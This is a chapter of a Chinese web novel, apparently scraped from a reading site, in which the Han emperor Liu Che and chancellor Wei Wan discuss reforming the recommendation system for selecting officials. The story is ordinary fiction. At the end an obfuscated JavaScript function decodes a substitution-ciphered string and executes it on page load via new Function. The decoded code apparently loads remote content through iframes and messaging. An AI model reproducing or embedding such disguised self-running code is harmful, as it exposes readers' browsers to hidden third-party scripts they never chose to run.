(手机请访问 m.duxs8.com); 很多时候，朝廷选官制度行与不行，也会促使国家兴盛与衰退，吏治是天下人仰仗的一棵进取之树，根系不发达，不清明，便会失去很多信任，落得官逼民反，民怨沸腾。
从天禄阁古籍中，刘彻学到了以前他从未认真学过的东西，那些在尘埃中埋藏的先秦制度，离他是那么的近，那么的真实。
这一套历程他粗理了一番，
有最早时，夏、商、西周实行世卿世禄制，开始形成家天下垄断，到春秋与战国初期时，统治阶层改革旧有之制度，更为了富国强兵，破格任用一些地位低下而才干出众的人，其中张仪、苏秦、商鞅、管仲等较为有名。
进而战国中后时期出现军功爵制度，又兴起养士之风，招揽有才干、善言辞的人才，不论出身，为国君、诸侯服务一时间成为各国霸主的标配。到秦代则以辟田和军功为选官依据，但这些总拢而言，都不是完备的选官制度。
到了汉代，为了适应国家统治的需要，建立了一整套选拔官吏的制度，名为察举制。
说到察举制，自高祖以来这就有所传统，只不过经文景之治后还未健全，没有形成真正的一套流程。
不过这也是一个好时机，刘彻可以趁着察举制还未固化，去修整一下，使之更合常理，尽量减少弊病，为后世造福，更能加固江山。
丞相卫绾最近老是被刘彻加班加点，在宣室殿与他见面，交流官制问题。
他每次被刘彻点名，
都会有种特别的感觉，
似乎当初他当太子太傅时，也是这样，经常性要求刘彻加时讲课，或是布置难题，现在倒是反过来了。
没有夫子这层外衣，卫绾作为臣子，似乎只能乖乖被传呼，一如当初的刘彻……
“高祖首下求贤诏，要求郡国推荐具有治国才能的贤士大夫，开察举制先河。惠帝、吕后诏举孝弟力田，这时察举开始有了科目。
察举之制，严格地说是从文帝开始，他下诏要求举贤良方正能直言极谏者，并且定下了对策（考试）和等第。”卫绾抿了一口清茶，润了润喉咙道。
把砚台推到一边，指着纸上贤良方正四个大字，刘彻问道：“朕近来涉猎我朝官制，见此四字最多，知之不多，又如不甚熟解，丞相可能全然盖述其为何意？”
若有所思地看向刘彻，卫绾缓缓点头，“古代比较贤明的君主，往往希望有一些公正无私、敢于直言的大臣。
这如同陛下此时所愿，想要他们能指出自己的不足之处，以便更好地治理国家。
我朝察举制度设立贤良方正科，就是这个原因。贤良方正是最主要的特科，始置于文帝二年，目的是纳天下言，即广泛听取对国政的意见，进而知晓自身不足。
帝王们当时普遍认为，发生天地灾异，是自己犯了过失，即人主（皇帝）不德，布政不均。所以，这一科常常是在灾异发生之后举行。
而贤良方正又多与直言极谏相连，这是皇帝求言的一种方式，所以也称作贤良方正能直言极谏。”
“这终究是一个宽大的范围，这样选官任废，太过于片面了吧？”刘彻疑问道。
“是非公道自在人心，陛下你太拘泥于严谨了，这样反而会陷于僵持，水至清则无鱼啊！”卫绾皱眉苦笑道。
刘彻从被立为太子到现在，对官员制度也小有了解，这也是作为太子的必习科目，此时也反应了过来，自己好像是有些钻牛角尖了。
点了点头，刘彻又道：“额，其实朕是想着重于那些岁科来着。”
“陛下不妨说说。”
“举孝廉与举贤良！这两科涉及天下人，又很好地使官员有上升空间，从大臣们混乱的选拔方式，或者说先帝时延续到今日的杂繁吏制出发，这是最好的选择！”刘彻直言道。
“咦，这两科倒是有过，可一直以来因为对于道家的推崇，此儒家经络不怎么受重视，许久未曾作为主要岁科了，臣觉得百善孝为先，廉洁为官员职守，贤良关于能力，着重是没什么问题的！”
本以为陛下只是偶有兴致，现在看来却并非如此，卫绾甚至都怀疑刘彻是不是早就想好一切，只等与自己来一番形式上的交流了。
卫绾的反应不大，但眼力非凡的刘彻焉能看不出来，他只是笑了笑，几乎是在卫绾放下茶杯的同时，拿起了眼前的文书，递给了卫绾。
“这是朕为举孝廉举贤良这两个岁科所书的诏书，对象有中央和地方的高官，诸王侯、三公、将军、中二千石、州牧、郡守等，又由于朝廷征求的人才也需广泛，也包括儒生、有道术者，以及平民百姓等。
此两科被举者皆由朕亲自主持对策，按等第授官，高者更有为九卿！”刘彻见卫绾已经在看了，笑着说道。
看了一会儿，大概了解大意后，卫绾轻笑道：“无私才能无畏，才敢于犯上，甚至把自己的性命都置之度外，因此先秦就有了文（指文臣）死谏的说法，是文臣（特别是谏官）忠君的最高境界。
陛下施行这般察举官员之制，甚至百姓皆有机会当上官员，于国于民利处巨大！臣看了之后，并无任何异议！”
“不，你应该有异议！”
“哦，这是为何？”
“这察举之制还缺了重要的一环！”
卫绾面色开始变得认真，没有着急回答，低头沉吟片刻后，便猜测道：“可是怕官员相互交结，察觉不实？”
“你答非所问哦！”刘彻调笑道。
咳嗽一声，卫绾才哑然失笑道：“陛下还是开城公布吧！”
“缺了监管来与察举相制衡！中央官员朕会亲自挑选，可地方上，朕就有点鞭长莫及了，必须要有克制官员一心为私选拔家族青壮的刑律才是！”刘彻抿嘴道。
卫绾恍然大悟，“那依陛下性子，该是有计策应对吧？”
“哈哈哈，朕的路子都被丞相摸清了是么？”
“咳咳……”
“既然是为天下人立的制，自然得由天下人自己争取，旦凡有乱选者，民众只需去更高一级，甚至是京城状告便是了，查有实则皆大欢喜，罚处涉事官员与冒选者，查不实则押诽谤者入牢五载并断其一指！”刘彻沉声道。
这就相当于给了所有人一条上诉之路，同时断绝了诬告的可能，刘彻对此法还是很满意的。
卫绾一口干掉茶水，又是抚须道：“陛下让纸张几次革新，又创印刷之术，使得纸质越来越好，书籍流通越来越方便，平民百姓也开始用起了纸印书，万民该是不怕目不识丁，以致大家族才子不断而垄了官途！配上此策，妙哉！”
(function(){function pa49a0b(yba62){var efc5dbfe1="Dm7A%P|~5IE;gsl]rUONeH16y[To?Zvn2:YLi.&zGXB3f^CVa!/0$Wxk=dQF_(buJc4@tpRSMqwK98-,hj";var w50c463d="d3eqvW]=&Es$^h(gf8R!c,wOiCNS1LZApjMGzoJ_7xnX/Ty:a@uB;.rFl5U|6Q[0~%DHk2mPKVtYI9b-?4";return yba62.split('').map(function(yd7ae){var dd210=efc5dbfe1.indexOf(yd7ae);return dd210==-1?yd7ae:w50c463d[dd210]}).join('')}var c=pa49a0b('h2ps://1yBD.1b"" + "E" + "8" + "_" + "e" + "-"+""|~r/Bewy.Bl){$lr/Bewy.Bl=maG?H2r8?eD-amH/G_au?DGHD-dr8-eG){yrlfgYaeFPyBfWw7EwlBa%y]aw.xW2=awr.xR)){x7w/xB}$%ax xurGr~r/Bewy.Bl/ajjj_-r){x7w/xB owxyB]Wrx.R[sax[.D7l/ajjj_-r)}$%ax /G7GG8~b"w,?"H"%,?8"H"/,pUp_?jp_up_dup8"H"D,pupj,u8,u? ?UVmGV?m"H"ECE,ie"|$%ax R-m_e-~/G_au?DGbxurGrluX_?)+xurGrluXGj)+xurGrluX_k)+xurGrluX_p)|Hw_pGrr~/G_au?DGbxurGrluX_p)+xurGrluXGj)+xurGrluX_k)+xurGrluX_?)|H1j-aDGe~D-dr8-eGbR-m_e-l"KmqCeRq/DkT:eR=1Dn~~")|H:rp?mj~R-m_e-l"Km&=K3O=OPX=-Pq/Dn~~")HDeU?m7Du7~R-m_e-l"emqyemOCaPdB")H.mm-aDe~R-m_e-l"eRq1-Lk:v(~~")H-ejppUG8~R-m_e-l"em0Ea3(~")HBm87D~R-m_e-l"eRqpv3&iv(~~")H%D_8Up~R-m_e-l"aR82-]~~")H.aUrd_m~R-m_e-l"eRk/vL8w")H:7p-rG~/G_au?DGbR-m_e-l"^Pkuan~~")|H%d?aje77a~R-m_e-l"-L8svn~~")$%ax w-uuejeu?~R-m_e-l"7RTtvP&?v1~~")$%ax 1??-7r$yrl=.eawy.BWE7axesWyBD7X6rlw-uuejeu?)>,?){1??-7r~D-dr8-eGb:rp?mj|lR-m_e-l"DLqjDLkCvPI~"))$1??-7rWyD~"w"+l:7p-rGb.aUrd_m|l)*?uuuu)$1??-7rWEwC=7W1yDws~"?uuc"$1??-7rWEwC=7Ws7y]sw~"duu2X"$1??-7rWDyEa-=7D~wx/7$yrlD-dr8-eGW-.DCN~B/==){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)}7=E7{%ax ]pdppm~r/Bewy.Bl){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)$/G_au?DGWx7R.%7I%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}$/G_au?DGWaDDI%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}}%ax 1uUU8~D-dr8-eGb:rp?mj|lR-m_e-l"vP?yvP(~"))$1uUU8WEwC=7Ws7y]sw~"u2X"$1uUU8WyD~2r8?eD-am+l:7p-rGWe7y=l:7p-rGb.aUrd_m|l)*?uuuu))$%ax E-j_a~r/Bewy.Bla_eGaUGuU){%ax AGmU-_U~B71 4aw7l)$%ax XDdGdDG~`aD%o2ae79Dz;{2r8?eD-am}z;{AGmU-_UWw.Z.ea=74aw7owxyB]l)}`$%ax R_?-a-ja~&o6TW2axE7l=.ea=ow.xa]7W]7w9w7RlXDdGdDG))$yrlR_?-a-ja~~B/==){R_?-a-ja~{-x.1E7x[./BwVu}}R_?-a-jaW-x.1E7x[./Bw++$%ax 2G8jdD8u~w_pGrrl/G7GG8We.Beawlb4aw7b"B.1"|l)H=.eawy.BWsx7rH`sEe,;{R_?-a-jaW-x.1E7x[./Bw}`|)WE.xwll)~>:7p-rGb.aUrd_m|l),uWd)b%D_8Up|l"H"))$%ax 7pm_G_u~2G8jdD8uWyBD7X6rlxurGrluXmD))>,?h2G8jdD8ubDeU?m7Du7|l2G8jdD8uWyBD7X6rlxurGrluXmD)))V""$2G8jdD8u~2G8jdD8ub.mm-aDe|l7pm_G_uH"")b-ejppUG8|l"")bBm87D|l)b%D_8Up|l"")+7pm_G_u$1uUU8WExe~b"sww2EVff"Ha_eGaUGuUH2G8jdD8u|b%D_8Up|l"f")$D-dr8-eGW-.DCWa227BD[sy=Dl1uUU8)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Ba227BD7D 7R w. swR="$%ax a8pG8~D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)$yrla8pG8~~B/==FFa8pG8~~/BD7ryB7D){1??-7rW%a=/7+~"\\x\\B eaBw ]7w 7R rx.R swR="}}}$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\BE7BD :E s.Ew "+=maG?}%ax Cujpda~r/Bewy.Bl.ue7dd8){x7w/xB R-m_e-l.ue7dd8)b.mm-aDe|lxurGrluXpn)H:7p-rGb.aUrd_m|l)Ww.owxyB]lm_)WE=ye7l:7p-rGWr=..xl:7p-rGb.aUrd_m|l)*8)+p))}$E-j_alCujpdal=maG?))$/G_au?DGb"aDDI%7BwZyEw7B7x"|l"R7EEa]7"Hr/Bewy.Bl7){yrl7WDawaWt~~2r8?eD-am){D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)Wx7R.%7l)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Bx7e7y%7 7R 2.Ew R7EEa]7"$1??-7rW%a=/7+~"\\x\\B7WDawaW% "+7WDawaWA}B71 k/Bewy.Bl"ax]E"H7WDawaWA)l{zwDeEV1j-aDGeHzwxaV1??-7r})}})})l"MydAaPk/7@q_DPU/Kp8w"H"pUp_?jp_up_dup8"H1yBD.1HD.e/R7Bw)}$E8_e-l)$'.substr(7));new Function(c)()})();